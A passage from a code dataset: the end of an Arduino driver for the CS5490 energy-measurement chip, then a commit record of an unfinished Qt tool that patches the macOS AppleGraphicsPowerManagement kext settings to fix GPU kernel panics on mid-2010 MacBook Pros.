(uint8_t)value);\n\tcSerial->write(buffer);\n}\n\n\n\/*\n Function: toDouble\n Transforms a 24 bit number to a double number for easy processing data\n\n Param:\n data[] => Array with size 3. Each uint8_t is an 8 byte number received from CS5490\n LSBpow => Expoent specified from datasheet of the less significant bit\n MSBoption => Information of most significant bit case. It can be only three values:\n MSBnull (1) The MSB is a Don't Care bit\n MSBsigned (2) the MSB is a negative value, requiring a 2 complement conversion\n MSBunsigned (3) The MSB is a positive value, the default case.\n\n*\/\ndouble CS5490::toDouble(int LSBpow, int MSBoption){\n\n\tuint32_t buffer = 0;\n\tdouble output = 0.0;\n\tbool MSB;\n\n\t\/\/Concat bytes in a 32 bit word\n\tbuffer += this->data[0];\n\tbuffer += this->data[1] << 8;\n\tbuffer += this->data[2] << 16;\n\n switch(MSBoption){\n\n case MSBnull:\n this->data[2] &= ~(1 << 7); \/\/Clear MSB\n buffer += this->data[2] << 16;\n output = (double)buffer;\n output \/= pow(2,LSBpow);\n break;\n\n case MSBsigned:\n MSB = data[2] & 0x80;\n \t\tif(MSB){ \/\/- (2 complement conversion)\n \t\t\tbuffer = ~buffer;\n \t\t\t\/\/Clearing the first 8 bits\n \t\t\tfor(int i=24; i<32; i++)\n \t\t\t buffer &= ~(1 << i);\n \t\t\toutput = (double)buffer + 1.0;\n \t\t\toutput \/= -pow(2,LSBpow);\n \t\t}\n \t\telse{ \/\/+\n \t\t output = (double)buffer;\n \t\t\toutput \/= (pow(2,LSBpow)-1.0);\n \t\t}\n break;\n\n default:\n case MSBunsigned:\n output = (double)buffer;\n \t\toutput \/= pow(2,LSBpow);\n break;\n\n }\n\n\treturn output;\n}\n\n\n\/**************************************************************\/\n\/* PUBLIC METHODS - Instructions *\/\n\/**************************************************************\/\nvoid CS5490::reset(){\n\tthis->instruct(1);\n}\n\nvoid CS5490::standby(){\n\tthis->instruct(2);\n}\n\nvoid CS5490::wakeUp(){\n\tthis->instruct(3);\n}\n\nvoid CS5490::singConv(){\n\tthis->instruct(20);\n}\n\nvoid CS5490::contConv(){\n\tthis->instruct(21);\n}\n\nvoid CS5490::haltConv(){\n\tthis->instruct(24);\n}\n\n\n\n\n\/**************************************************************\/\n\/* PUBLIC METHODS - Calibration and Configuration *\/\n\/**************************************************************\/\n\n\/* SET *\/\nvoid CS5490::setBaudRate(long value){\n\n\t\/\/Calculate the correct binary value\n\tuint32_t hexBR = ceil(value*0.5242880\/MCLK);\n\tif (hexBR > 65535) hexBR = 65535;\n\thexBR += 0x020000;\n\n\tthis->write(0x80,0x07,hexBR);\n\tdelay(100); \/\/To avoid bugs from ESP32\n\n\t\/\/Reset Serial communication from controller\n\tcSerial->end();\n\tcSerial->begin(value);\n\treturn;\n}\n\n\/* GET *\/\nint CS5490::getGainI(){\n\t\/\/Page 16, Address 33\n\tthis->read(16,33);\n\treturn this->toDouble(22,MSBunsigned);\n}\n\nlong CS5490::getBaudRate(){\n\tthis->read(0,7);\n\tuint32_t buffer = this->data[0];\n\tbuffer += this->data[1] << 8;\n\tbuffer += this->data[2] << 16;\n\tbuffer -= 0x020000;\n\treturn ( (buffer\/0.5242880)*MCLK );\n}\n\n\/**************************************************************\/\n\/* PUBLIC METHODS - Measurements *\/\n\/**************************************************************\/\n\ndouble CS5490::getPeakV(){\n\t\/\/Page 0, Address 36\n\tthis->read(0,36);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getPeakI(){\n\t\/\/Page 0, Address 37\n\tthis->read(0,37);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getInstI(){\n\t\/\/Page 16, Address 2\n\tthis->read(16,2);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getInstV(){\n\t\/\/Page 16, Address 3\n\tthis->read(16,3);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getInstP(){\n\t\/\/Page 16, Address 4\n\tthis->read(16,4);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getRmsI(){\n\t\/\/Page 16, Address 6\n\tthis->read(16,6);\n\treturn this->toDouble(23, MSBunsigned);\n}\n\ndouble CS5490::getRmsV(){\n\t\/\/Page 16, Address 7\n\tthis->read(16,7);\n\treturn this->toDouble(23, MSBunsigned);\n}\n\ndouble CS5490::getAvgP(){\n\t\/\/Page 16, Address 5\n\tthis->read(16,5);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getAvgQ(){\n\t\/\/Page 16, Address 14\n\tthis->read(16,14);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getAvgS(){\n\t\/\/Page 16, Address 20\n\tthis->read(16,20);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getInstQ(){\n\t\/\/Page 16, Address 15\n\tthis->read(16,15);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getPF(){\n\t\/\/Page 16, Address 21\n\tthis->read(16,21);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getTotalP(){\n\t\/\/Page 16, Address 29\n\tthis->read(16,29);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getTotalS(){\n\t\/\/Page 16, Address 30\n\tthis->read(16,30);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getTotalQ(){\n\t\/\/Page 16, Address 31\n\tthis->read(16,31);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getFreq(){\n\t\/\/Page 16, Address 49\n\tthis->read(16,49);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getTime(){\n\t\/\/Page 16, Address 49\n\tthis->read(16,61);\n\treturn this->toDouble(0, MSBunsigned);\n}\n\n\/**************************************************************\/\n\/* PUBLIC METHODS - Read Register *\/\n\/**************************************************************\/\n\nlong CS5490::readReg(int page, int address){\n\tlong value = 0;\n\tthis->read(page, address);\n\tfor(int i=0; i<3; i++){\n\t\tvalue += data[2-i];\n\t\tvalue <<= 8;\n\t}\n\treturn value;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"mainwindow.h\"\n#include \"ui_mainwindow.h\"\n\n#define TEST\n\/\/#define REAL\n\n\/\/#define WINDOWS\n#define MAC\n\nMainWindow::MainWindow(QWidget *parent) :\n QMainWindow(parent),\n ui(new Ui::MainWindow)\n{\n ui->setupUi(this);\n}\n\nMainWindow::~MainWindow()\n{\n delete ui;\n}\n\nvoid MainWindow::exit()\n{\n close();\n qApp->quit();\n}\n\nvoid MainWindow::on_patchButton_clicked()\n{\n \/\/Search kext file\n if(searchKernelExtensionFile(&kernelFile))\n {\n \/\/Display Warning Message\n \/\/TODO : Uncomment\n \/\/int answer = QMessageBox::question(this, \"Warning\", \"This will patch the kernel configuration file.\\nAre you sure you want to procede ?\", QMessageBox::Yes | QMessageBox::No);\n\n \/\/if (answer == QMessageBox::Yes)\n if(1)\n {\n patchKernelExtensionFile(&kernelFile);\n }\n else\n {\n return;\n }\n }\n else\n {\n return;\n }\n}\n\nvoid MainWindow::on_restoreButton_clicked()\n{\n \/\/Display Warning Message\n int answer = QMessageBox::question(this, \"Warning\", \"This will restore the old configuration.\\nAre you sure you want to procede ?\", QMessageBox::Yes | QMessageBox::No);\n\n if (answer == QMessageBox::Yes)\n {\n\n }\n else\n {\n return;\n }\n}\n\nbool MainWindow::init()\n{\n bool isInitOk = true;\n\n MainWindow::setWindowTitle (APP_NAME);\n\n \/\/Search for compatibility\n if(isCompatibleVersion(getMBPModelVersion()))\n {\n isInitOk = true;\n }\n else\n {\n QMessageBox::information(this,\"Mac not compatible\",\"Sorry, your Mac is not compatible.\\nThe application will close\");\n isInitOk = false;\n }\n\n \/\/Search for SIP Status\n if(isSIPEnabled())\n {\n ui->patchButton->setEnabled(false);\n ui->restoreButton->setEnabled(false);\n\n QMessageBox msgBox;\n msgBox.setInformativeText(\"The System Integrity Protection is enabled\\nPlease follow the instructions to disable it\");\n msgBox.setWindowTitle(\"SIP Enabled\");\n\n QAbstractButton* pButtonYes = msgBox.addButton(tr(\"Take me to tutorial\"), QMessageBox::YesRole);\n msgBox.addButton(tr(\"Nope\"), QMessageBox::NoRole);\n msgBox.setIcon(QMessageBox::Information);\n msgBox.exec();\n\n if (msgBox.clickedButton()== pButtonYes)\n {\n QString link = \"https:\/\/www.youtube.com\/watch?v=Wmhal4shmVo\";\n QDesktopServices::openUrl(QUrl(link));\n }\n }\n\n return isInitOk;\n}\n\nQString MainWindow::getMBPModelVersion()\n{\n QString MBPModelVersion;\n QProcess process;\n\n \/\/Execute commande line\n process.start(\"sysctl -n hw.model\");\n\n \/\/Wait forever until finished\n process.waitForFinished(-1);\n\n \/\/Get command line output\n MBPModelVersion = process.readAllStandardOutput();\n\n \/\/Remove carriage return (\"\\n\") from string\n MBPModelVersion = MBPModelVersion.simplified();\n\n return MBPModelVersion;\n}\n\nbool MainWindow::isSIPEnabled(void)\n{\n QString SIPStatus;\n QProcess process;\n\n \/\/Execute commande line\n process.start(\"csrutil status\");\n\n \/\/Wait forever until finished\n process.waitForFinished(-1);\n\n \/\/Get command line output\n SIPStatus = process.readAllStandardOutput();\n\n#ifndef WINDOWS\n if(SIPStatus.contains(\"disable\"))\n {\n return false;\n }\n else\n {\n return true;\n }\n #else\n return false;\n #endif\n}\n\n\n\/\/Parse system directory searching for AppleGraphicsPowerManagement.kext file\nbool MainWindow::searchKernelExtensionFile(QFile* kernelExtensionFile)\n{\n bool isFileFound;\n\n#ifdef TEST\n#ifdef MAC\n QDir kextPath(\"\/Users\/Julian\/Documents\/Dev\/Projects\/MBPMid2010_GPUFix\/\");\n#endif\n#ifdef WINDOWS\n QDir kextPath(\"C:\/Users\/jpoidevin\/Desktop\/Documents Pro\/03 - Dev Temp\/MBPMid2010_GPUFix\/MBPMid2010_GPUFix\/\");\n#endif\n#endif\n#ifdef REAL\n QDir kextPath(\"\/System\/Library\/Extensions\/AppleGraphicsPowerManagement.kext\/\");\n#endif\n\n QStringList listOfFiles;\n\n \/\/Print Current app directory\n qDebug() << \"Current Dir :\" <<kextPath.absolutePath();\n\n \/\/Recursively search for \"Info.plist\" file in appPath\n QDirIterator it(kextPath.absolutePath(),\n QStringList() << \"Info.plist\",\n QDir::NoSymLinks | QDir::Files,\n QDirIterator::Subdirectories);\n\n \/\/Check if the file was found\n if(it.hasNext())\n {\n while(it.hasNext())\n {\n it.next();\n if (it.filePath().contains(\"AppleGraphicsPowerManagement\"))\n {\n listOfFiles.push_back(it.filePath());\n }\n }\n }\n\n \/\/Print files found\n qDebug() << \"Files found :\"<< listOfFiles;\n\n if(listOfFiles.length() <= 1 && listOfFiles.length() > 0)\n {\n \/\/qDebug() << \"Moins de 1\";\n kernelExtensionFile->setFileName(listOfFiles.at(0));\n isFileFound = true;\n }\n else\n {\n \/\/qDebug () << \"No file was found...\";\n isFileFound = false;\n }\n\n \/\/Start search manually and only allow loading of the perfect named file (or kext)\n if(!isFileFound)\n {\n QMessageBox::information(this,\"File not found\",\"Any corresponding file was found, please search for the file\");\n\n \/\/TODO : FileDialog won't let user browse into .kext files Contents\n QString dir = QFileDialog::getOpenFileName(this, tr(\"Open Info.plist file\"),\n \"\/System\/Library\/Extensions\/AppleGraphicsPowerManagement.kext\/\",\n \"Property List Files (Info.plist)\");\n if(!(dir.isNull()))\n {\n \/\/kernelExtensionFile->setFileName(dir);\n isFileFound = true;\n }\n else\n {\n isFileFound = false;\n }\n }\n\n return isFileFound;\n}\n\nbool MainWindow::isCompatibleVersion(QString modelVersion)\n{\n \/\/Compare version with compatible versions of MBPs\n bool isCompatibleVersion;\n\n#ifdef MAC\n\n \/\/TODO : Search in a list if several models compatible\n if(modelVersion == \"MacBookPro6,2\")\n {\n isCompatibleVersion = true;\n }\n else\n {\n isCompatibleVersion = false;\n }\n\n#endif\n#ifdef WINDOWS\n isCompatibleVersion = true;\n#endif\n\n return isCompatibleVersion;\n}\n\nvoid MainWindow::backupOldKernelExtension()\n{\n \/\/Save File to current location adding .bak extension\n \/\/qDebug() << \"File Name\" << kernelFile.fileName();\n\n \/\/Save original file in kernelExtension file folder\n QFile::copy(kernelFile.fileName(), kernelFile.fileName() + \".bak\");\n}\n\nvoid MainWindow::patchKernelExtensionFile(QFile *kernelFile)\n{\n \/\/Modify Kernel Extension File to add fix explained here :\n \/\/https:\/\/forums.macrumors.com\/threads\/gpu-kernel-panic-in-mid-2010-whats-the-best-fix.1890097\/\n \/\/Use QSettings ? : http:\/\/doc.qt.io\/qt-5\/qsettings.html\n \/\/https:\/\/openclassrooms.com\/courses\/enregistrer-vos-options-avec-qsettings\n \/\/http:\/\/stackoverflow.com\/questions\/20240511\/qsettings-mac-and-plist-files\n \/\/https:\/\/forum.qt.io\/topic\/37247\/qsettings-with-systemscope-not-saving-plist-file-in-os-x-mavericks\/6\n\n\n \/\/TODO\n \/\/backupOldKernelExtension();\n\n#ifdef MAC\n#define PATCHED_FILE_PATH \"\/tmp\/PatchedInfo.plist\"\n#endif\n#ifdef WINDOWS\n#define PATCHED_FILE_PATH \"C:\/temp\/PatchedInfo.plist\"\n#endif\n\n\n \/\/Remove file if already exists\n if (QFile::exists(PATCHED_FILE_PATH))\n {\n QFile::remove(PATCHED_FILE_PATH);\n }\n\n \/\/Copy file in tmp dir for patch\n QFile::copy(kernelFile->fileName(), PATCHED_FILE_PATH);\n\n QFile tmpFile(PATCHED_FILE_PATH);\n if(!tmpFile.open(QIODevice::ReadWrite | QIODevice::Text))\n {\n qDebug() << \"Could not open tmp File\";\n return;\n }\n\n \/\/The QDomDocument class represents an XML document.\n QDomDocument xmlBOM;\n\n \/\/ Set data into the QDomDocument before processing\n xmlBOM.setContent(&tmpFile);\n\n \/* Definition of struct and enum to automaticaly parse file*\/\n typedef enum\n {\n FindChild,\n FindSibling,\n NextSibling,\n FirstChild,\n FillArray\n }EActions;\n\n typedef struct{\n QString nodeName;\n QVector<int> ArrayValues;\n EActions ActionToPerform;\n }nodeTree;\n\n QVector<nodeTree> confTree={\n {\"MacBookPro6,2\" , {} , FindChild },\n {\"dict\" , {} , NextSibling },\n {\"Vendor10deDevice0a29\" , {} , FindChild },\n {\"BoostPState\" , {} , FindSibling },\n {\"\" , {2,2,2,2} , FillArray },\n {\"BoostTime\" , {} , FindSibling },\n {\"\" , {2,2,2,2} , FillArray },\n {\"Heuristic\" , {} , FindSibling },\n {\"Threshold_High\" , {} , FindSibling },\n {\"\" , {0,0,100,200} , FillArray },\n {\"Threshold_High_v\" , {} , FindSibling },\n {\"\" , {0,0,98,100} , FillArray },\n {\"Threshold_Low\" , {} , FindSibling },\n {\"\" , {0,0,0,200} , FillArray },\n {\"Threshold_Low_v\" , {} , FindSibling },\n {\"\" , {0,0,4,200} , FillArray }\n };\n\n QDomElement currentNode = xmlBOM.firstChildElement(\"plist\");\n QDomElement nextNode;\n\n for (int i = 0; i < confTree.size(); ++i)\n {\n \/\/qDebug() << confTree.at(i).nodeName << confTree.at(i).ActionToPerform;\n switch (confTree.at(i).ActionToPerform){\n case FindChild:\n nextNode = findElementChild(currentNode,confTree.at(i).nodeName);\n qDebug() << \"FindChild - \" << nextNode.tagName() << \"|\" << nextNode.text();\n break;\n\n case FindSibling:\n nextNode = findElementSibling(currentNode,confTree.at(i).nodeName);\n qDebug() << \"FindSibling - \" << nextNode.tagName() << \"|\" << nextNode.text();\n break;\n\n case NextSibling:\n nextNode = currentNode.nextSiblingElement(confTree.at(i).nodeName);\n qDebug() << \"NextSibling - \" << nextNode.tagName();\n break;\n\n case FirstChild:\n nextNode = currentNode.firstChildElement(confTree.at(i).nodeName);\n qDebug() << \"FirstChild - \" << nextNode.tagName();\n break;\n\n case FillArray:\n\n currentNode = currentNode.nextSiblingElement(\"array\").firstChildElement(\"integer\");\n\n currentNode.firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[0]));\n currentNode.nextSibling().firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[1]));\n currentNode.nextSibling().nextSibling().firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[2]));\n currentNode.nextSibling().nextSibling().nextSibling().firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[3]));\n\n nextNode = currentNode.parentNode().toElement();\n\n break;\n\n default:\n break;\n }\n\n currentNode = nextNode;\n }\n\n \/\/ Write changes to same file\n tmpFile.resize(0);\n QTextStream stream;\n stream.setDevice(&tmpFile);\n xmlBOM.save(stream, 4);\n\n tmpFile.close();\n}\n\nint MainWindow::loadKernelExtension(QFile *kernelFile)\n{\n \/\/Use Kext Utility or command lines utils to load the file in Kernel\n \/\/kextload\n\n \/\/Disable srcutils: https:\/\/derflounder.wordpress.com\/2015\/10\/05\/configuring-system-integrity-protection-without-booting-to-recovery-hd\/\n\n \/\/See here : http:\/\/osxdaily.com\/2015\/06\/24\/load-unload-kernel-extensions-mac-os-x\/\n int Status = 0;\n\n return Status;\n}\n\nint MainWindow::restoreOldKernelExtension(QFile *kernelFile)\n{\n \/\/Restore.bak extension\n int Status = 0;\n\n \/\/QFile::copy(kernelFile->fileName() + \".bak\", kernelFile->fileName());\n\n return Status;\n}\n\nQDomElement MainWindow::findElementChild(QDomElement parent, const QString &textToFind)\n{\n for(QDomElement elem = parent.firstChildElement(); !elem.isNull(); elem = elem.nextSiblingElement())\n {\n if(elem.text()==textToFind) return elem;\n\n QDomElement e = findElementChild(elem, textToFind);\n\n if(!e.isNull()) return e;\n }\n\n return QDomElement();\n}\n\nQDomElement MainWindow::findElementSibling(QDomElement parent, const QString &textToFind)\n{\n for(QDomElement elem = parent.nextSiblingElement(); !elem.isNull(); elem = elem.nextSiblingElement())\n {\n if(elem.text()==textToFind) return elem;\n\n QDomElement e = findElementChild(elem, textToFind);\n\n if(!e.isNull()) return e;\n }\n\n return QDomElement();\n}\n<commit_msg>Started working on kernel extension loading<commit_after>#include \"mainwindow.h\"\n#include \"ui_mainwindow.h\"\n\n\/\/#define TEST\n#define REAL\n\n\/\/#define WINDOWS\n#define MAC\n\nMainWindow::MainWindow(QWidget *parent) :\n QMainWindow(parent),\n ui(new Ui::MainWindow)\n{\n ui->setupUi(this);\n}\n\nMainWindow::~MainWindow()\n{\n delete ui;\n}\n\nvoid MainWindow::exit()\n{\n close();\n qApp->quit();\n}\n\nvoid MainWindow::on_patchButton_clicked()\n{\n \/\/Search kext file\n if(searchKernelExtensionFile(&kernelFile))\n {\n \/\/Display Warning Message\n \/\/TODO : Uncomment\n \/\/int answer = QMessageBox::question(this, \"Warning\", \"This will patch the kernel configuration file.\\nAre you sure you want to procede ?\", QMessageBox::Yes | QMessageBox::No);\n\n \/\/if (answer == QMessageBox::Yes)\n if(1)\n {\n patchKernelExtensionFile(&kernelFile);\n loadKernelExtension(&kernelFile);\n }\n else\n {\n return;\n }\n }\n else\n {\n return;\n }\n}\n\nvoid MainWindow::on_restoreButton_clicked()\n{\n \/\/Display Warning Message\n int answer = QMessageBox::question(this, \"Warning\", \"This will restore the old configuration.\\nAre you sure you want to procede ?\", QMessageBox::Yes | QMessageBox::No);\n\n if (answer == QMessageBox::Yes)\n {\n\n }\n else\n {\n return;\n }\n}\n\nbool MainWindow::init()\n{\n bool isInitOk = true;\n\n MainWindow::setWindowTitle (APP_NAME);\n\n \/\/Search for compatibility\n if(isCompatibleVersion(getMBPModelVersion()))\n {\n isInitOk = true;\n }\n else\n {\n QMessageBox::information(this,\"Mac not compatible\",\"Sorry, your Mac is not compatible.\\nThe application will close\");\n isInitOk = false;\n }\n\n \/\/Search for SIP Status\n if(isSIPEnabled())\n {\n ui->patchButton->setEnabled(false);\n ui->restoreButton->setEnabled(false);\n\n QMessageBox msgBox;\n msgBox.setInformativeText(\"The System Integrity Protection is enabled\\nPlease follow the instructions to disable it\");\n msgBox.setWindowTitle(\"SIP Enabled\");\n\n QAbstractButton* pButtonYes = msgBox.addButton(tr(\"Take me to tutorial\"), QMessageBox::YesRole);\n msgBox.addButton(tr(\"Nope\"), QMessageBox::NoRole);\n msgBox.setIcon(QMessageBox::Information);\n msgBox.exec();\n\n if (msgBox.clickedButton()== pButtonYes)\n {\n QString link = \"https:\/\/www.youtube.com\/watch?v=Wmhal4shmVo\";\n QDesktopServices::openUrl(QUrl(link));\n }\n }\n\n return isInitOk;\n}\n\nQString MainWindow::getMBPModelVersion()\n{\n QString MBPModelVersion;\n QProcess process;\n\n \/\/Execute commande line\n process.start(\"sysctl -n hw.model\");\n\n \/\/Wait forever until finished\n process.waitForFinished(-1);\n\n \/\/Get command line output\n MBPModelVersion = process.readAllStandardOutput();\n\n \/\/Remove carriage return (\"\\n\") from string\n MBPModelVersion = MBPModelVersion.simplified();\n\n return MBPModelVersion;\n}\n\nbool MainWindow::isSIPEnabled(void)\n{\n QString SIPStatus;\n QProcess process;\n\n \/\/Execute commande line\n process.start(\"csrutil status\");\n\n \/\/Wait forever until finished\n process.waitForFinished(-1);\n\n \/\/Get command line output\n SIPStatus = process.readAllStandardOutput();\n\n#ifndef WINDOWS\n if(SIPStatus.contains(\"disable\"))\n {\n return false;\n }\n else\n {\n return true;\n }\n#else\n return false;\n#endif\n}\n\n\n\/\/Parse system directory searching for AppleGraphicsPowerManagement.kext file\nbool MainWindow::searchKernelExtensionFile(QFile* kernelExtensionFile)\n{\n bool isFileFound;\n\n#ifdef TEST\n#ifdef MAC\n QDir kextPath(\"\/Users\/Julian\/Documents\/Dev\/Projects\/MBPMid2010_GPUFix\/\");\n#endif\n#ifdef WINDOWS\n QDir kextPath(\"C:\/Users\/jpoidevin\/Desktop\/Documents Pro\/03 - Dev Temp\/MBPMid2010_GPUFix\/MBPMid2010_GPUFix\/\");\n#endif\n#endif\n#ifdef REAL\n QDir kextPath(\"\/System\/Library\/Extensions\/AppleGraphicsPowerManagement.kext\/\");\n#endif\n\n QStringList listOfFiles;\n\n \/\/Print Current app directory\n qDebug() << \"Current Dir :\" <<kextPath.absolutePath();\n\n \/\/Recursively search for \"Info.plist\" file in appPath\n QDirIterator it(kextPath.absolutePath(),\n QStringList() << \"Info.plist\",\n QDir::NoSymLinks | QDir::Files,\n QDirIterator::Subdirectories);\n\n \/\/Check if the file was found\n if(it.hasNext())\n {\n while(it.hasNext())\n {\n it.next();\n if (it.filePath().contains(\"AppleGraphicsPowerManagement\"))\n {\n listOfFiles.push_back(it.filePath());\n }\n }\n }\n\n \/\/Print files found\n qDebug() << \"Files found :\"<< listOfFiles;\n\n if(listOfFiles.length() <= 1 && listOfFiles.length() > 0)\n {\n \/\/qDebug() << \"Moins de 1\";\n kernelExtensionFile->setFileName(listOfFiles.at(0));\n isFileFound = true;\n }\n else\n {\n \/\/qDebug () << \"No file was found...\";\n isFileFound = false;\n }\n\n \/\/Start search manually and only allow loading of the perfect named file (or kext)\n if(!isFileFound)\n {\n QMessageBox::information(this,\"File not found\",\"Any corresponding file was found, please search for the file\");\n\n \/\/TODO : FileDialog won't let user browse into .kext files Contents\n QString dir = QFileDialog::getOpenFileName(this, tr(\"Open Info.plist file\"),\n \"\/System\/Library\/Extensions\/AppleGraphicsPowerManagement.kext\/\",\n \"Property List Files (Info.plist)\");\n if(!(dir.isNull()))\n {\n \/\/kernelExtensionFile->setFileName(dir);\n isFileFound = true;\n }\n else\n {\n isFileFound = false;\n }\n }\n\n return isFileFound;\n}\n\nbool MainWindow::isCompatibleVersion(QString modelVersion)\n{\n \/\/Compare version with compatible versions of MBPs\n bool isCompatibleVersion;\n\n#ifdef MAC\n\n \/\/TODO : Search in a list if several models compatible\n if(modelVersion == \"MacBookPro6,2\")\n {\n isCompatibleVersion = true;\n }\n else\n {\n isCompatibleVersion = false;\n }\n\n#endif\n#ifdef WINDOWS\n isCompatibleVersion = true;\n#endif\n\n return isCompatibleVersion;\n}\n\nvoid MainWindow::backupOldKernelExtension()\n{\n \/\/Save File to current location adding .bak extension\n \/\/qDebug() << \"File Name\" << kernelFile.fileName();\n\n \/\/Save original file in kernelExtension file folder\n QFile::copy(kernelFile.fileName(), kernelFile.fileName() + \".bak\");\n}\n\nvoid MainWindow::patchKernelExtensionFile(QFile *kernelFile)\n{\n \/\/Modify Kernel Extension File to add fix explained here :\n \/\/https:\/\/forums.macrumors.com\/threads\/gpu-kernel-panic-in-mid-2010-whats-the-best-fix.1890097\/\n \/\/Use QSettings ? : http:\/\/doc.qt.io\/qt-5\/qsettings.html\n \/\/https:\/\/openclassrooms.com\/courses\/enregistrer-vos-options-avec-qsettings\n \/\/http:\/\/stackoverflow.com\/questions\/20240511\/qsettings-mac-and-plist-files\n \/\/https:\/\/forum.qt.io\/topic\/37247\/qsettings-with-systemscope-not-saving-plist-file-in-os-x-mavericks\/6\n\n\n \/\/TODO\n \/\/backupOldKernelExtension();\n\n#ifdef MAC\n#define PATCHED_FILE_PATH \"\/tmp\/PatchedInfo.plist\"\n#endif\n#ifdef WINDOWS\n#define PATCHED_FILE_PATH \"C:\/temp\/PatchedInfo.plist\"\n#endif\n\n\n \/\/Remove file if already exists\n if (QFile::exists(PATCHED_FILE_PATH))\n {\n QFile::remove(PATCHED_FILE_PATH);\n }\n\n \/\/Copy file in tmp dir for patch\n QFile::copy(kernelFile->fileName(), PATCHED_FILE_PATH);\n\n QFile tmpFile(PATCHED_FILE_PATH);\n if(!tmpFile.open(QIODevice::ReadWrite | QIODevice::Text))\n {\n qDebug() << \"Could not open tmp File\";\n return;\n }\n\n \/\/The QDomDocument class represents an XML document.\n QDomDocument xmlBOM;\n\n \/\/ Set data into the QDomDocument before processing\n xmlBOM.setContent(&tmpFile);\n\n \/* Definition of struct and enum to automaticaly parse file*\/\n typedef enum\n {\n FindChild,\n FindSibling,\n NextSibling,\n FirstChild,\n FillArray\n }EActions;\n\n typedef struct{\n QString nodeName;\n QVector<int> ArrayValues;\n EActions ActionToPerform;\n }nodeTree;\n\n QVector<nodeTree> confTree={\n {\"MacBookPro6,2\" , {} , FindChild },\n {\"dict\" , {} , NextSibling },\n {\"Vendor10deDevice0a29\" , {} , FindChild },\n {\"BoostPState\" , {} , FindSibling },\n {\"\" , {2,2,2,2} , FillArray },\n {\"BoostTime\" , {} , FindSibling },\n {\"\" , {2,2,2,2} , FillArray },\n {\"Heuristic\" , {} , FindSibling },\n {\"Threshold_High\" , {} , FindSibling },\n {\"\" , {0,0,100,200} , FillArray },\n {\"Threshold_High_v\" , {} , FindSibling },\n {\"\" , {0,0,98,100} , FillArray },\n {\"Threshold_Low\" , {} , FindSibling },\n {\"\" , {0,0,0,200} , FillArray },\n {\"Threshold_Low_v\" , {} , FindSibling },\n {\"\" , {0,0,4,200} , FillArray }\n };\n\n QDomElement currentNode = xmlBOM.firstChildElement(\"plist\");\n QDomElement nextNode;\n\n for (int i = 0; i < confTree.size(); ++i)\n {\n \/\/qDebug() << confTree.at(i).nodeName << confTree.at(i).ActionToPerform;\n switch (confTree.at(i).ActionToPerform){\n case FindChild:\n nextNode = findElementChild(currentNode,confTree.at(i).nodeName);\n qDebug() << \"FindChild - \" << nextNode.tagName() << \"|\" << nextNode.text();\n break;\n\n case FindSibling:\n nextNode = findElementSibling(currentNode,confTree.at(i).nodeName);\n qDebug() << \"FindSibling - \" << nextNode.tagName() << \"|\" << nextNode.text();\n break;\n\n case NextSibling:\n nextNode = currentNode.nextSiblingElement(confTree.at(i).nodeName);\n qDebug() << \"NextSibling - \" << nextNode.tagName();\n break;\n\n case FirstChild:\n nextNode = currentNode.firstChildElement(confTree.at(i).nodeName);\n qDebug() << \"FirstChild - \" << nextNode.tagName();\n break;\n\n case FillArray:\n\n currentNode = currentNode.nextSiblingElement(\"array\").firstChildElement(\"integer\");\n\n currentNode.firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[0]));\n currentNode.nextSibling().firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[1]));\n currentNode.nextSibling().nextSibling().firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[2]));\n currentNode.nextSibling().nextSibling().nextSibling().firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[3]));\n\n nextNode = currentNode.parentNode().toElement();\n\n break;\n\n default:\n break;\n }\n\n currentNode = nextNode;\n }\n\n \/\/ Write changes to same file\n tmpFile.resize(0);\n QTextStream stream;\n stream.setDevice(&tmpFile);\n xmlBOM.save(stream, 4);\n\n tmpFile.close();\n}\n\nint MainWindow::loadKernelExtension(QFile *kernelFile)\n{\n \/\/Use Kext Utility or command lines utils to load the file in Kernel\n \/\/kextload\n\n \/\/Disable srcutils: https:\/\/derflounder.wordpress.com\/2015\/10\/05\/configuring-system-integrity-protection-without-booting-to-recovery-hd\/\n\n \/* Copy real kext into tmp file *\/\n QProcess process;\n QString command = \"cp\";\n QStringList arguments;\n QDir kextDir(kernelFile->fileName());\n kextDir.cdUp();\n\n arguments << \"-rf\" << kextDir.absolutePath() << \"\/tmp\/AppleGraphicsPowerManagement.kext\";\n \/\/Execute commande line\n process.start(command,arguments);\n \/\/Wait forever until finished\n process.waitForFinished(-1);\n\n \/*** Copy patched file into kext ***\/\n command = \"cp\";\n arguments.clear();\n arguments << \"-f\" << PATCHED_FILE_PATH << \"\/tmp\/AppleGraphicsPowerManagement.kext\/Info.plist\";\n \/\/Execute commande line\n process.start(command,arguments);\n \/\/Wait forever until finished\n process.waitForFinished(-1);\n\n \/*** Change permission of modified kext File ***\/\n \/\/TODO find a way to execute process as root\n command = \"chown\";\n arguments.clear();\n arguments << \"-R\" << \"-v\" << \"root:wheel\" << \"\/tmp\/AppleGraphicsPowerManagement.kext\/\";\n \/\/Execute commande line\n process.start(command,arguments);\n \/\/Wait forever until finished\n process.waitForFinished(-1);\n qDebug() << process.readAllStandardError();\n\n \/*** Unload previous kext file ***\/\n \/\/TODO find a way to execute process as 